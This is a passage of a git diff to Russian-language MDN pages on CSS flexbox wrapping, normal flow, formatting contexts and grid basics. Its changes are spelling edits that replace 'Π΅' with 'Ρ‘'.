+<p>Когда Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с многострочным флСкс-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ, Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ процСсс обёртывания происходит <em>послС</em> сворачивания. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ оборачивания, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡ‡Π΅ΡΡ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅ пространство, оставлСнноС свёрнутым элСмСнтом Π² Π³Π»Π°Π²Π½ΠΎΠΉ оси.</p>
<p>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π½Π° строкС, ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎΠΉ ΠΎΡ‚ Ρ‚ΠΎΠΉ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π»ΠΈΡΡŒ. Π’ случаС, Ссли ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ элСмСнт отобраТаСтся ΠΈ скрываСтся, это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ элСмСнты окаТутся Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ ряду.</p>
-<p>Π― создал ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΎΠ³ΠΎ повСдСния Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ растяТСниС мСняСт строку Π² зависимости ΠΎΡ‚ располоТСния свСрнутого элСмСнта. Если Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚Π΅ большС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΊΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΡƒ элСмСнту, ΠΎΠ½ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ строку, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ станСт достаточно Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ. Π­Ρ‚Π° вСрхняя строка становится Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ высокой, ΠΊΠ°ΠΊ ΠΎΠ΄Π½Π° строка тСкста.</p>
+<p>Π― создал ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΎΠ³ΠΎ повСдСния Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ растяТСниС мСняСт строку Π² зависимости ΠΎΡ‚ располоТСния свёрнутого элСмСнта. Если Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚Π΅ большС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΊΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΡƒ элСмСнту, ΠΎΠ½ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ строку, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ станСт достаточно Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌ. Π­Ρ‚Π° вСрхняя строка становится Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ высокой, ΠΊΠ°ΠΊ ΠΎΠ΄Π½Π° строка тСкста.</p>
<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}</p>
@@ -97,4 +97,4 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items
<h3 id="Π Π°Π·Π½ΠΈΡ†Π°_ΠΌΠ΅ΠΆΠ΄Ρƒ_visibility_hidden_ΠΈ_display_none">Π Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ <code>visibility: hidden</code> ΠΈ <code>display: none</code></h3>
-<p>Когда Π’Ρ‹ устанавливаСтС элСмСнту <code>display: none</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ ΡΠΏΡ€ΡΡ‚Π°Ρ‚ΡŒ, Ρ‚ΠΎ этот элСмСнт удаляСтся ΠΈΠ· структуры страницы. На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ счСтчики ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ Π΅Π³ΠΎ, Π° Ρ‚Π°ΠΊΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠ°ΠΊΒ transitions (ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹), Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ. ИспользованиС <code>visibility: hidden</code> сохраняСт элСмСнт Π² структурС форматирования, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ Π±Ρ‹Π» Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΅Π³ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ.</p>
+<p>Когда Π’Ρ‹ устанавливаСтС элСмСнту <code>display: none</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ ΡΠΏΡ€ΡΡ‚Π°Ρ‚ΡŒ, Ρ‚ΠΎ этот элСмСнт удаляСтся ΠΈΠ· структуры страницы. На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ счётчики ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ Π΅Π³ΠΎ, Π° Ρ‚Π°ΠΊΠΈΠ΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠ°ΠΊΒ transitions (ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹), Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ. ИспользованиС <code>visibility: hidden</code> сохраняСт элСмСнт Π² структурС форматирования, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ Π±Ρ‹Π» Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΅Π³ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ.</p>
diff --git a/files/ru/web/css/css_flow_layout/index.html b/files/ru/web/css/css_flow_layout/index.html
index 80fddc9dab..3863c2862e 100644
--- a/files/ru/web/css/css_flow_layout/index.html
+++ b/files/ru/web/css/css_flow_layout/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Flow_Layout
---
<div>{{CSSRef}}</div>
-<p class="summary"><em>ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ (normal flow)Β </em>ΠΈΠ»ΠΈ поточная раскладка (flow layout), это способ отобраТСния Π±Π»ΠΎΡ‡Π½Ρ‹Ρ…Β (block) ΠΈ строчных (inline) элСмСнтов Π½Π° страницС. Π‘Π½Π°Ρ‡Π°Π»Π° раскладка этих элСмСнтов происходит согласно ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ°, послС Ρ‡Π΅Π³ΠΎ Π² Π½Π΅Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ внСсСны измСнСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅.</p>
+<p class="summary"><em>ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ (normal flow)Β </em>ΠΈΠ»ΠΈ поточная раскладка (flow layout), это способ отобраТСния Π±Π»ΠΎΡ‡Π½Ρ‹Ρ…Β (block) ΠΈ строчных (inline) элСмСнтов Π½Π° страницС. Π‘Π½Π°Ρ‡Π°Π»Π° раскладка этих элСмСнтов происходит согласно ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ°, послС Ρ‡Π΅Π³ΠΎ Π² Π½Π΅Ρ‘ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ внСсСны измСнСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅.</p>
<p class="summary">По сути ΠΏΠΎΡ‚ΠΎΠΊ прСдставляСтся собой Π½Π°Π±ΠΎΡ€ сущностСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС ΠΈ Π·Π½Π°ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ ΠΎ Π΄Ρ€ΡƒΠ³Π΅. Когда Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Π°ΡΒ ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒΒ <em>вынимаСтся ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° (out of flow)</em>, Ρ‚ΠΎ ΠΎΠ½Π° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ нСзависимо.</p>
@@ -21,9 +21,9 @@ translation_of: Web/CSS/CSS_Flow_Layout
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ боксы уровня Π±Π»ΠΎΠΊΠ° (block level) ΠΈ уровня строки (inline level). Боксы уровня Π±Π»ΠΎΠΊΠ° ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‚ Π² Π±Π»ΠΎΡ‡Π½ΠΎΠΌ контСкстС форматирования, Π° боксы уровня строки Π² строчном контСкстС форматирования.</p>
-<p>Π”Π²Π° элСмСнта ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° с Π·Π΅Π»Π΅Π½ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ боксы уровня Π±Π»ΠΎΠΊΠ°, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ.</p>
+<p>Π”Π²Π° элСмСнта ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° с Π·Π΅Π»Ρ‘Π½ΠΎΠΉ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ боксы уровня Π±Π»ΠΎΠΊΠ°, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΈΠΌ.</p>
-<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ содСрТит элСмСнт span с Π³ΠΎΠ»ΡƒΠ±Ρ‹ΠΌ Ρ„ΠΎΠ½ΠΎΠΌ. Он создаСт бокс уровня строки ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, размСщаСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ прСдлоТСния.</p>
+<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ содСрТит элСмСнт span с Π³ΠΎΠ»ΡƒΠ±Ρ‹ΠΌ Ρ„ΠΎΠ½ΠΎΠΌ. Он создаёт бокс уровня строки ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, размСщаСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ прСдлоТСния.</p>
<p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p>
diff --git a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
index aed2f568ec..13069eaa00 100644
--- a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
+++ b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
@@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Flow_Layout/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_контСксты_Ρ„
<p class="summary"><span class="seoSummary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ прСдставлСна концСпция контСкстов форматирования (formatting context). БущСствуСт нСсколько Ρ‚ΠΈΠΏΠΎΠ² контСкстов форматирования, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования (block formatting context, BFC), строчный контСкст форматирования (inline formatting context), флСксовый контСкст форматирования (flex formatting context). Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅ Π΄Π°Π½Ρ‹ основы Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ сСбя Π²Π΅Π΄ΡƒΡ‚, ΠΈ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅.</span></p>
-<p>Всё на страницС являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽΒ <strong>контСкста форматирования</strong> (formatting context), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ происходит раскладка ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°Β ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ. <strong>Π‘Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования</strong> (block formatting context, BFC) Π΄Π΅Π»Π°Π΅Ρ‚ раскладку своих Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ раскладки, <strong>флСксовый контСкст форматирования</strong> (flex formatting context) раскладываСт свои Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΊΠ°ΠΊΒ {{Glossary("flex item", "флСкс-элСмСнты")}} ΠΈ Ρ‚.Π΄. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ контСкст форматирования ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° раскладки.</p>
+<p>Всё на страницС являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽΒ <strong>контСкста форматирования</strong> (formatting context), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ происходит раскладка ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°Β ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ. <strong>Π‘Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования</strong> (block formatting context, BFC) Π΄Π΅Π»Π°Π΅Ρ‚ раскладку своих Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ раскладки, <strong>флСксовый контСкст форматирования</strong> (flex formatting context) раскладываСт свои Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΊΠ°ΠΊΒ {{Glossary("flex item", "флСкс-элСмСнты")}} ΠΈ Ρ‚.Π΄. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ контСкст форматирования ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ свои ΠΏΡ€Π°Π²ΠΈΠ»Π° раскладки.</p>
<h2 id="Π‘Π»ΠΎΡ‡Π½Ρ‹Π΅_контСксты_форматирования">Π‘Π»ΠΎΡ‡Π½Ρ‹Π΅ контСксты форматирования</h2>
@@ -16,9 +16,9 @@ original_slug: Web/CSS/CSS_Flow_Layout/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_контСксты_Ρ„
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π½ΠΎΠ²ΠΎΠ³ΠΎ_Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ_контСкста_форматирования">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ контСкста форматирования</h3>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("html")}} Π½Π΅ СдинствСнный, ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования. Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ прСдставляСт собой Π±Π»ΠΎΠΊ, Ρ‚Π°ΠΊΠΆΠ΅ создаСт Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования для своих ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ².Β ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ свойства CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ элСмСнт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π‘ΠšΠ€, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ этого ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½ΠΎΠ²Ρ‹ΠΉ Π‘ΠšΠ€ Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ ΠΊΠ°ΠΊ внСшний Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π² Ρ‚ΠΎΠΌ смыслС, Ρ‡Ρ‚ΠΎ ΠΎΠ½ создаСт Π½ΠΎΠ²ΡƒΡŽ ΠΌΠΈΠ½ΠΈ-раскладку Π² основной раскладкС.Β Π‘ΠšΠ€ содСрТит всС Π²Π½ΡƒΡ‚Ρ€ΠΈ сСбя,Β {{cssxref("float")}} and {{cssxref("clear")}} ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ элСмСнтам, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находится Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ контСкстС форматирования, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ поля (margings) ΡΡ…Π»ΠΎΠΏΡ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ контСкста форматирования.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("html")}} Π½Π΅ СдинствСнный, ΠΊΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования. Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ прСдставляСт собой Π±Π»ΠΎΠΊ, Ρ‚Π°ΠΊΠΆΠ΅ создаёт Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования для своих ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ².Β ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ свойства CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ элСмСнт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π‘ΠšΠ€, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ этого ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½ΠΎΠ²Ρ‹ΠΉ Π‘ΠšΠ€ Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ ΠΊΠ°ΠΊ внСшний Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π² Ρ‚ΠΎΠΌ смыслС, Ρ‡Ρ‚ΠΎ ΠΎΠ½ создаёт Π½ΠΎΠ²ΡƒΡŽ ΠΌΠΈΠ½ΠΈ-раскладку Π² основной раскладкС.Β Π‘ΠšΠ€ содСрТит всС Π²Π½ΡƒΡ‚Ρ€ΠΈ сСбя,Β {{cssxref("float")}} and {{cssxref("clear")}} ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊ элСмСнтам, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находится Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ контСкстС форматирования, Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ поля (margings) ΡΡ…Π»ΠΎΠΏΡ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ контСкста форматирования.</p>
-<p>ΠšΡ€ΠΎΠΌΠ΅ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта ({{HTMLElement("html")}}) Π½ΠΎΠ²Ρ‹ΠΉ Π‘ΠšΠ€ создаСтся Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… случаях:</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ элСмСнта ({{HTMLElement("html")}}) Π½ΠΎΠ²Ρ‹ΠΉ Π‘ΠšΠ€ создаётся Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… случаях:</p>
<ul>
<li>ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠ΅ элСмСнты ({{cssxref("float", "float: left", "#left")}} ΠΈΠ»ΠΈΒ {{cssxref("float", "float: right", "#right")}});</li>
diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
index a616e84382..964f414675 100644
--- a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
+++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
@@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<h3 id="РасполоТСниС_элСмСнта">РасполоТСниС элСмСнта</h3>
